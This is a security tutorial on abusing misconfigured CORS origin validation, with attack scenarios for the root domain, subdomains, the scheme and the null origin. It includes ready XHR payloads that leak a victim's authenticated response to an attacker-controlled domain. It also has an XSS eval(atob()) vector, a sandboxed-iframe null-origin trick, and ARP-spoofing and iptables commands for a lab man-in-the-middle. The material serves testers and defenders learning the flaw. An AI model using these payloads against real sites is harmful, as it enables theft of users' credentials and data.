Abusing CORS (Improper Origin Validation)

Published:

Thank you pentester.land for Tutorial of the week!


CORS (Cross-Site Origin Resource Sharing) is a header-based security mechanism that enables developers to make dynamic requests from client-side code (JS/Ajax) as this is not possible due to SOP (Same-Origin-Policy).

CORS example

www.example.com gets its user-details from api.example.com/user-data.

1. const xhr = new XMLHttpRequest();
2. xhr.open('GET','https://api.example.com/user-data', true); 
3. xhr.withCredentials = true;
4. xhr.onreadystatechange = updateDOM();
5. xhr.send();

The endpoint is restricted for authenticated users only. The withCredentials property in Line 3 indicates that credentials such as cookies, authorization headers or TLS client certificates should be included in the request. Whenever such request is made, the browser will include a Origin header in the request. The value of this header will be the domain from which the request was sent.

GET /user-data HTTP/1.1
Host: api.example.com
Authorization: Basic Zm9vOmJhcg==
Origin: https://www.example.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true

{"[user-data]"}

As indicated by the response headers, the server does allow requests originating from https://www.example.com - with user credentials.

Improper validation

Building on the above example, consider that the devs want to share api.example.com with all of its subdomains. Rather than whitelisting each domain in a static list, the checking is done dynamically. What can go wrong?

Consider this expression used to match any subdomain of example.com.

/https?:\/\/([\w\d]+).?example.com/s

Although the expression does match any subdomain of example.com; the devs forgot to escape the dot in example.com, meaning that this regex will also match any substitute of this dot character. Not only that but it will also match origins that begin with http:// (HTTP) as denoted by optional ‘?’ regex quantifier. Consequently, the target CORS configuration will trust XHR requests from domains such as http://evilxexample.com which an attacker may purchase.

GET /user-data HTTP/1.1
Host: api.example.com
Authorization: Basic Zm9vOmJhcg==
Origin: http://evilxexample.com 
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://evilxexample.com 
Access-Control-Allow-Credentials: true

{"[user-data]"}

They way you exploit this depends on which part of the origin is improperly validated. To better demonstrate this, each attack scenario is divided into the following four sections:

The example payloads used in these sections can be found at the very end of this post. See also supporting material the very end.

Some tips

  • A server may (at times) respond with CORS headers ONLY if the Origin header is set in the request. If this Origin header is not there already then try adding it.
  • For the most part, you are only really interested in endpoints that that respond with Access-Control-Allow-Credentials: true. Why bother with endpoints that do not require authorization?
  • The value of Access-Control-Allow-Origin must point to some domain/address that you control.
  • Exploitation is for the most part not possible unless Access-Control-Allow-Origin points to some address/domain that you control. Wildcards does not mean much unless you’re working inside the internal network.
  • Beware of Preflighted requests which may cause your PoC to fail. More on this here.

Root-domain

https://foo.example.com

Consider the following request used to obtain a secret token from a cross-domain API endpoint.

GET /token HTTP/1.1
Host: api.example.com
Accept: */*
Cookie: SSID=eF5jYSlN9jBOS0mzNE410k1KSk7VNUm0NNI1NUxc
Origin: https://example.com
Connection: close

The origin of this request is https://example.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true

{"[token]"}

When CORS is badly configured the server may simply trust any arbitrary origin domain we provide. E.g. by changing the origin to https://attacker, we see that this origin is indeed permitted by the server as indicated by the CORS headers below.

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

{"[token]"}

Exploitation

Host the PAYLOAD on a domain that is trusted by target CORS and have the victim browse to it. Provided that the victim is authenticated to the target site, the following will occur.

  1. Payload sends XHR request from victims browser to target server. The Origin of this request will be the domain/address from which the request was sent.
  2. Server accepts the request as its origin is trusted by CORS. The victims response gets sent back to the origin domain.
  3. Attacker grabs the victims response data from webserver logs.

Subdomain

https://foo.example.com.

In the previous example the target was misconfigured so badly that it would trust any CORS Origin. In this scenario, however, only the subdomain part of the domain is improperly validated. As such, the server won’t trust any domain we throw at it, but it will trust any subdomain (of itself) that we provide.

GET /token HTTP/1.1
Host: api.example.com
Accept: */*
Cookie: SSID=eF5jYSlN9jBOS0mzNE410k1KSk7VNUm0NNI1NUxc
Origin: foo.example.com
Connection: close
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://foo.example.com
Access-Control-Allow-Credentials: true

{"[token]"}

In order to exploit this, you will have to find a XSS on a subdomain of your target (that is accepted by CORS). The idea is to craft a XSS payload that makes a XHR request to the vulnerable domain. By doing so, we are able to send the request with an Origin that the target trusts (its own subdomain). This can be confusing so let me try to explain this this further detail. Imagine that you have a reflective XSS on foo.example.com – a subdomain of your vulnerable target that is trusted by CORS (with credentials). Rather than popping an alert, place the payload inside your XSS, e.g using atob (base64).

https://foo.example.com?someparam=<script>alert(1)</script>
https://foo.example.com?someparam=<script>eval(atob(“base64”))</script>

Once browse to by an authenticated victim:

  1. XSS payload gets triggered.
  2. Payload sends XHR request from to vulnerable CORS endpoint/domain. The origin of this request will equal the subdomain where XSS resides.
  3. Target server trusts this origin, as CORS is misconfigured to trust any subdomain of self (hence why this is a bad idea).
  4. Server sends victims response response back to the subdomain (XSS).
  5. Payloads retrieves the response and triggers an event handler.
  6. Event handler makes a second request to the attacker server, containing with the victims response.
  7. Attacker grabs the response from the webserver logs.

Scheme

https://foo.example.com

In this scenario, the scheme is not validated properly as CORS trusts traffic origins using the HTTP scheme.

GET /token HTTP/1.1
Host: example.com
Accept: */*
Cookie: SSID=eF5jYSlN9jBOS0mzNE410k1KSk7VNUm0NNI1NUxc
Origin: http://api.example.com
Connection: close
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://api.example.com
Access-Control-Allow-Credentials: true

{"[token]"}

From the above request/response, we see that example.com will communicate traffic over HTTP as http://api.example.com is considered trusted through CORS. This opens up the possibility for an attacker to bypass strict-transport-security and thereby break the secure HTTPS connection between the victim and the server.

Exploitation

To exploit this, the attacker must somehow force the victim into sending the request from HTTP instead of HTTPS. One way of doing is to ARP spoof victims that are connected to the same network as the attacker for the purpose of manipulating packets so that the origin becomes http:// instead of https://

This process can be confusing and is better illustrated in the diagram below.


Each item represents a line ending in an arrow

Each item in this list represents an arrow in the above diagram.

  1. Victims requests any HTTP resource from any domain on the internet – typically mixed content such as images, fonts, etc.

  2. Attacker (MITM) intercepts the (200 OK) response and modifies it to (301) redirect the victim to a HTTP domain (that CORS trusts) - but to a page that has not been previously visited before. By doing this, the attacker circumvents the high probability victim requests HTTPS directly as this is likely cached thanks to HSTS.

  3. Victims browser requests the non-existent HTTP page.

  4. The server will most likely try to 301 redirect the victim back to HTTPS (despite the requested page not existing) rather than responding with 404 right away. The origin of this response is http://example.com

  5. Attacker (MITM) intercepts this response and injects the XHR payload

  6. Payload is executed in the victims’ browser, which sends XHR request (with victims credentials) to the vulnerable endpoint.

  7. Server accepts the requests as http:// origin is permitted by CORS. Response is sent back to the victims’ browser.

  8. Payload triggers the event-handler, which forwards victims response to an attacker-controlled domain.

ARP Spoofing in a lab environment

Example setup:

  • Attacking machine: Bridged VM running Kali
  • Victim machine: Bridged VM running any OS

On your attacking machine:

Run arp-scan to determine your victim IP:

# arp-scan –interface=eth0 --localnet

Start ARP Spoofing the victim:

# arpspoof -i INTERFACE -t $VICTIM_IP $GATEWAY_IP

Configure iptables to route traffic on port 80 to whatever port you want to proxy:

# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 808

In Burp Suite:

1. Head to Proxy - > Options  
2. Add a new proxy listener  
3. Set bind-port to your redirected port  
4. Set bind-address to attacking IP (not loopback)  
5. Click the “Request Handling” tab  
6. Check “Support invisible proxying” (important!)  
7. Hit “Ok”  

On your victim machine:

Request some HTTP traffic from any domain and head back to the Burp proxy on your attacking machine. If all is well then you should see the victims request being intercepted. If not then HTTPS is likely being requested directly from browser cache. To fix this, either clean out the cache or disable it complitely.

Null Origin

The null origin is according to the HTML spec an opaque origin, which is:

An internal value, with no serialization it can be recreated from (it is serialized as “null” per serialization of an origin), for which the only meaningful operation is testing for equality.

From what I understand, this is true when:

  1. The resource redirects to another resource having a different origin.
  2. The resource uses a non-hierarchial scheme (such as data: or file:).
  3. Accessing a sandboxed document.
GET /token HTTP/1.1
Host: api.example.com
Accept: */*
Origin: null
Connection: close
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

{"[token]"}

Here, the server wrongfully grants access to Origin: null (with credentials). Seeing this, your goal now is to somehow obtain this null origin by “triggering” one of the conditions above. One way of doing this is to send an XHR request from host A, to a page on host B that 302 redirects to the endpoint with a different origin.

Or better; wrap the payload in an in an iframe sandbox (without allow-same-origin) as so:

<iframe sandbox='allow-scripts allow-forms'src='data:text/html,
<script>
<!--Cors payload goes here-->
</script>'></iframe>

This should work regardless of where it is hosted as long the null origin is set (assuming server responds with ACAO: true).

Payloads

GET

var xhr = new XMLHttpRequest(); 
xhr.onload = reqListener; 
xhr.open('GET','https://target.example.com/endpoint/',true); 
xhr.withCredentials = true;
xhr.send();

// leak json response to attacker domain
function reqListener() {
    location='https://attackerdomain.com/?response='+this.responseText; 
};

POST

var postdata = "fname=Henry&lname=Ford"

var xhr = new XMLHttpRequest(); 
xhr.onload = reqListener; 
xhr.open("POST", 'https://target.example.com/endpoint/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
xhr.send(postdata);

// leak json response to attacker domain
function reqListener() {
    location='https://attackerdomain.com/?response='+this.responseText; 
};

Leaking complex response data structures

For complex responses such as HTML, XML, etc. the reponse must be POSTed to your attacker domain. For this mod_security (or similar) must but enabled on your webserver for the request to get logged. For Apache, this usually ends up in /var/log/apache2/modsec_audit.log. For JSON responses, consider using JSON.parse(xhr.responseText)

// POST response to attacker domain
function reqListener() {
  var leak = new XMLHttpRequest();
  leak.open("POST", "https://attackerdomain.com/whatever.txt", true);
  leak.send(xhr.response());
}

Supporting Material